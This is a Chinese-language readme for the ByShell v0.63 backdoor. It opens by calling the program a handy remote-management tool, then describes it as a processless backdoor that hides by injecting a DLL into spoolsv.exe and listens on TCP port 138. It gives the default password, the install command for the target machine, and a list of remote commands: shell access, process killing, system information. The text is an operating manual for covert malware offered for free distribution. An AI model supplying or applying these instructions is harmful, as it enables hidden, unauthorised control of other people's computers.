ByShell是一款功能强大的远程操控工具,支持用户在不同地点便捷地管理和控制设备。它提供了直观的操作界面和丰富的功能集,适用于各种技术环境。
byshell 0.64的网络传输稳定性较差,建议使用前一版本0.63。
如果遇到0.64无法正常使用的情况,请尝试使用此版本。
**byshell v0.63**
- **作者**: by
该软件为用户态实现无进程、无DLL文件及启动项的后门程序。它通过线程注入将DLL加载到系统进程中,并在关机时恢复原状。大量借鉴了农民前辈cmdbind2的思想,对此表示感谢。
此版本目前绑定于TCP138端口,未来计划改为无连接或端口复用的方式。
由于作者的编程风格问题,代码和注释可能显得较为混乱,请予以理解。
软件及其源代码允许自由传播,但使用时需注明原出处。未经许可不得用于商业用途(除学习和个人目的外)。
此工具仅支持NT及以上的Windows系统版本。首次使用时需要在服务端放置ntboot.exe与ntboot.dll在同一目录下,并执行命令`ntboot.exe -install`进行安装;安装完成后,可以删除原始文件。之后当服务器连接网络时,byshell将自动注入到spoolsv.exe进程中(可通过修改源码来改变目标进程)。
**主要功能如下:**
- `cmd`: 执行单条CMD指令。
示例: `#cmddir c:\winnt`
- `shell`: 进入交互式远程命令提示符模式,直到输入`endshell`返回主界面。
- `chpass`: 更改后门密码,默认为“by”。
示例: `#chpass123456`
- `byver`: 查看连接的客户端版本信息。不同版本间可能存在兼容性问题。
- `sysinfo`: 获取对方基本系统信息。
- `pslist`: 列出目标系统的进程列表。
- `pskill`: 结束指定PID的目标进程。
示例: `#pskill972`
- `modlist`: 显示特定PID的进程中加载的所有DLL文件。